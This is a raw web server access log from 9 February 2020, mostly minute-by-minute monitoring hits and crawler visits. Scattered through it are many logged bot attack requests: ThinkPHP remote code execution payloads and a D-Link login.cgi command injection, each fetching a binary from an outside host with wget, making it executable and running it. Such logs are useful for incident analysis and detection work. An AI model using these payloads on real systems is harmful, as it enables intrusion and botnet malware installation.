212.91.246.72 - - [09/Feb/2020:10:34:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:10:35:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
124.47.8.10 - - [09/Feb/2020:10:35:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:10:36:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.91.43.51 - - [09/Feb/2020:10:36:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
198.162.207.120 - - [09/Feb/2020:10:36:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
49.235.254.147 - - [09/Feb/2020:10:36:58 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
49.235.254.147 - - [09/Feb/2020:10:36:59 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
49.235.254.147 - - [09/Feb/2020:10:36:59 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
49.235.254.147 - - [09/Feb/2020:10:37:00 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
49.235.254.147 - - [09/Feb/2020:10:37:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [09/Feb/2020:10:37:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:10:38:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:10:39:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:10:40:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:10:41:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:10:42:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:10:43:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
195.211.238.62 - - [09/Feb/2020:10:43:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [09/Feb/2020:10:44:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:10:45:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
152.231.52.177 - - [09/Feb/2020:10:45:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
117.90.234.229 - - [09/Feb/2020:10:46:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:10:46:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
180.252.49.10 - - [09/Feb/2020:10:46:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:10:47:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:10:48:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:10:49:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:10:50:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:10:51:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:10:52:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.7.148.66 - - [09/Feb/2020:10:52:40 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [09/Feb/2020:10:53:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
195.158.80.206 - - [09/Feb/2020:10:53:40 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [09/Feb/2020:10:54:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:10:55:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.42.223.224 - - [09/Feb/2020:10:55:42 +0100] "POST /HNAP1/ HTTP/1.0" 404 311 "-" "-"
212.91.246.72 - - [09/Feb/2020:10:56:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.42.3.76 - - [09/Feb/2020:10:56:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:10:57:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.114.98.237 - - [09/Feb/2020:10:57:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:10:58:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.163.131.89 - - [09/Feb/2020:10:58:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:10:59:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:11:00:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:11:01:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.93.136.51 - - [09/Feb/2020:11:01:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:11:02:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:11:03:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.130.142.16 - - [09/Feb/2020:11:03:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:11:04:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:11:05:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:11:06:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.61.103.126 - - [09/Feb/2020:11:06:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:11:07:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
175.112.192.120 - - [09/Feb/2020:11:08:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:11:08:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:11:09:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:11:10:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
195.178.102.98 - - [09/Feb/2020:11:10:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:11:11:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:11:12:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:11:13:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:11:14:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
64.246.161.42 - - [09/Feb/2020:11:15:22 +0100] "GET /robots.txt HTTP/1.0" 404 330 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:59.0) Gecko/20100101 Firefox/59.0"
64.246.161.42 - - [09/Feb/2020:11:15:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:59.0) Gecko/20100101 Firefox/59.0"
212.91.246.72 - - [09/Feb/2020:11:15:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.79.78.40 - - [09/Feb/2020:11:16:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [09/Feb/2020:11:16:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:11:17:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:11:18:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.53.244.15 - - [09/Feb/2020:11:18:33 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [09/Feb/2020:11:19:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:11:20:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:11:21:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.116.174.238 - - [09/Feb/2020:11:21:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:11:22:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.139.231.193 - - [09/Feb/2020:11:22:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
95.56.46.55 - - [09/Feb/2020:11:23:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:11:23:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.116.224.35 - - [09/Feb/2020:11:23:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:11:24:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:11:25:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:11:26:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:11:27:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
90.84.192.75 - - [09/Feb/2020:11:27:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:11:28:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:11:29:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.36.149.1 - - [09/Feb/2020:11:29:58 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
54.36.150.160 - - [09/Feb/2020:11:29:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
212.91.246.72 - - [09/Feb/2020:11:30:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
191.97.6.87 - - [09/Feb/2020:11:31:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:11:31:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:11:32:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:11:33:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:11:34:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:11:35:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.79.78.40 - - [09/Feb/2020:11:35:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
182.160.123.106 - - [09/Feb/2020:11:35:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:11:36:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.92.197.105 - - [09/Feb/2020:11:37:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:11:37:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
191.100.11.19 - - [09/Feb/2020:11:37:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
78.166.230.205 - - [09/Feb/2020:11:38:00 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
95.59.177.1 - - [09/Feb/2020:11:38:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
46.158.105.185 - - [09/Feb/2020:11:38:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:11:38:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:11:39:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:11:40:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:11:41:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.229.226.197 - - [09/Feb/2020:11:41:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
208.114.149.10 - - [09/Feb/2020:11:42:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:11:42:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
64.246.178.34 - - [09/Feb/2020:11:42:52 +0100] "GET /robots.txt HTTP/1.0" 404 327 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:59.0) Gecko/20100101 Firefox/59.0"
64.246.178.34 - - [09/Feb/2020:11:42:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:59.0) Gecko/20100101 Firefox/59.0"
31.192.142.86 - - [09/Feb/2020:11:42:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
39.135.1.160 - - [09/Feb/2020:11:43:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [09/Feb/2020:11:43:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:11:44:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:11:45:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:11:46:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
181.23.204.220 - - [09/Feb/2020:11:46:35 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [09/Feb/2020:11:47:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
146.255.228.2 - - [09/Feb/2020:11:47:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
112.121.223.253 - - [09/Feb/2020:11:47:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:11:48:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:11:49:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.85.91.19 - - [09/Feb/2020:11:49:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:11:50:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:11:51:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.116.188.178 - - [09/Feb/2020:11:51:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:11:52:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:11:53:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:11:54:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:11:55:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
